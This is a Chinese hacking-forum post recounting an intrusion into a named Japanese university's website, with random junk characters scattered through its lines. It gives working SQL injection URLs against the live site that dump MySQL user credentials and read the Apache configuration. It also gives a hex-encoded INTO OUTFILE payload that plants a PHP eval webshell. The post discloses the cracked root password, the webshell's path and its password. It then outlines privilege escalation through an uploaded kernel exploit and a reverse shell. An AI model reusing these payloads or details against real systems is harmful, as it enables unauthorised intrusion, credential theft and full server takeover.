找回密码
 立即注册
查看: 3084|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析/ l! _5 n, q1 l( d

! O6 n# _" i. O; Lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1: x3 o! A0 e, R  A& K8 {
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:# I4 I! Q+ B1 V5 J  }2 w; |4 ^
9 j# X' `# I/ f; w
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user! r2 X6 J% }9 f

9 ~- }; ^/ C- t$ j  ?# l1 @4 a" ] , o2 v$ [2 R; W) ~( h/ j9 T
& c0 n' @8 {. _* ]4 N# ?+ b
//@@datadir为数据库文件路径 5 h4 h8 h  x+ ]9 C9 E( x1 [

- V6 G% o  _5 z8 |6 f  m# @8 \% ^: z: k4 f% v  O; x
//load_file读取网站容器apache的配置文件 : g# U! L- O& v6 ~6 l$ V2 u7 B

. o. K9 L( w* i/ G1 V+ D0 S9 O! B8 w3 Q* o4 x$ Y: `- Z9 n; T' ]
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
6 T4 u7 X: y3 S; m1 A2 I3 ^复制代码
; n7 S/ ?) F$ d+ L% o* W& J. i. ]+ |# \
6 }5 R/ v% L( a+ c# e0 o虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。; d1 j, |/ e# m8 H6 o
+ \9 i, S8 o0 O' x' V9 m& j! `
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。! o! B) Q% m9 S* v0 n
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)( n# o: b/ ]7 x0 _3 {

' ^; O: [+ s! T# S& W前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。% j8 V/ v: g2 J# q: n* c
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
9 E: b6 k& n; g- h) H6 T+ @; m& s9 |
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/. Q2 e$ h/ f) ?( W# T/ v4 h
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
+ V5 H) H6 u' u: E& u+ ~& e; _! ^直接写一句话:4 d! k) l, d' T4 P* M7 X

( ^9 C& T# ^- Lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#, b' y5 a5 h, l1 w

( l2 ^* o2 T- E! }$ f9 W$ h
& [, R" ^  W$ \5 @* n# x
! j+ O- b, m  g//最后的#是为了闭合前面的语句
: i# k1 ~: S% r# F5 [8 T+ J ( {# n! h, X# X9 g4 q2 L  s9 r

+ m- d1 G; `/ }5 k+ S/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
: \" V+ f- j4 ]1 N% r
6 m& \0 P$ [7 |! B, `* f4 z- x4 l+ q" \! X# ?
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
" J" K( B% A4 d2 |' \$ \
# g5 Y1 z/ j( O# F
- Q: x# J. @0 R7 M; C//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 $ @  l% Q; k. P" E; b1 w
1 w+ `' R* A, z- X$ }  a
( k  U2 N7 A% o3 f+ O/ W) D$ C
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
$ M' y( G1 e2 }0 q//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
% n; p/ g8 K$ `8 l: ^" U9 M复制代码
: y- r, `! h, G" D
9 n5 m3 J) {4 V% C. sHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
9 I+ T8 w& L% D2 L3 x9 ~, P$ ^9 T( N通过上述注入语句,我们就得到了一句话木马:
4 w5 C* }& a( G4 j( P; G2 X1 P4 h+ T1 V+ d9 N0 P4 r: G

. D- d! k3 Y' ?4 Z
' ]2 y6 V  @  u; ], j$ i! X' \6 q 1 D) `( i% r8 _/ G5 k6 [. [
( ]( F1 F# t  j+ k. _9 @% e7 E
http://www.doshisha.ac.jp/english/engnews_img/aa.php
! K& q0 {3 F2 U0 N复制代码
& n- ~. D) H9 I
9 i# L9 y- [% J! O% l用菜刀连接,密码是cmd,如图所示:
' `6 ?! i+ N0 Z( V$ n2 A3 `然后在命令提示行里看了一下,现在的权限是:+ A- H3 D5 Q( ~, W1 G
: K1 x1 h3 r  P' c5 |# s0 i
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
. |- [# q5 k- _2 R) x% E/ m, O好在赋权给这个文件夹不需要root,直接执行赋权语句:$ ^" S$ @' O6 k- `& h0 I3 M" D+ e

& @2 f' A; V4 r% N7 D
1 G* K+ f5 A9 D, h
+ R! y( L8 N3 H5 \( o2 K
2 Y4 [% h3 |. J: |& O: O: F/ C
; D9 T& O$ r) }5 r2 o0 A- a' ?chmod +x /tmp/
7 t- ^3 }- n* m0 ]9 Y, v复制代码  Q5 U) Y8 @/ P' h' u
& @4 L& v! C' |" k7 x. t+ n: X- K) S
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行- \9 ]; y8 K  x6 T2 c
然后就查了一下内核版本:" V) U, @: J; T

0 ^# p; T9 A$ j0 l0 n3 x. g4 x 9 w# `7 a$ }% @4 k5 k

% E' p7 D. S% f8 R* M, b* ]4 @ 3 K! O9 ?- f5 o- @  W5 V$ D

+ f4 v0 t( T2 v0 Suname-a
1 R$ ?! q* ^- A9 j6 }. T5 i + p6 t& r9 q1 R8 Q/ D7 B+ R0 w& {
0 T7 j5 P! v# s3 y7 M; x$ D4 {
//其实lsb_release -a
  e& F6 _; o% z7 V) j6 P; A) W复制代码
0 h( Z; q; f: J) C
/ L% k( l. `1 ^# O* u如图所示:9 n# U% E  {3 q4 s: R( y4 ~, j

+ o& a5 @# Q6 x) r9 L3 P9 w5 F# N内核版本:linux mainz1 2.6.28-194.e15
! O  m9 T! K+ c) ~/ O" y* b系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)% k6 |! [: {& X( I5 h3 J1 G
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹5 J7 @( W: p5 j4 T* Y! e- `& x

3 s+ z  }8 |& h7 C3 i然后给予执行权限+ r( s# W4 f' X8 |( ^
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样! c. i" j; z/ D5 m% A4 ^

& M9 |+ K& M9 ~$ A+ J  v
1 w4 X( l( G. [- b  O) \8 }. D9 b: x( M. v9 c4 X( @$ G

+ V' g* q6 W% G; n8 R% M" Z& ~7 T) \. s! t
chmod +x /tmp/2.6.18-194 / V# u  [" U+ P5 R; ]
复制代码 然后直接执行!~+ v" x1 R! S) y' c% L. I3 _
/ V% \+ l! b8 H3 l( e6 n7 ^' k
总结:# [% u. Y) `7 Q; d8 f
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
7 f9 e( g' j. r4 k提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
: {- m! z" k; \4 `" _+ X  s$ i
# C9 }! w7 @" n( I9 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表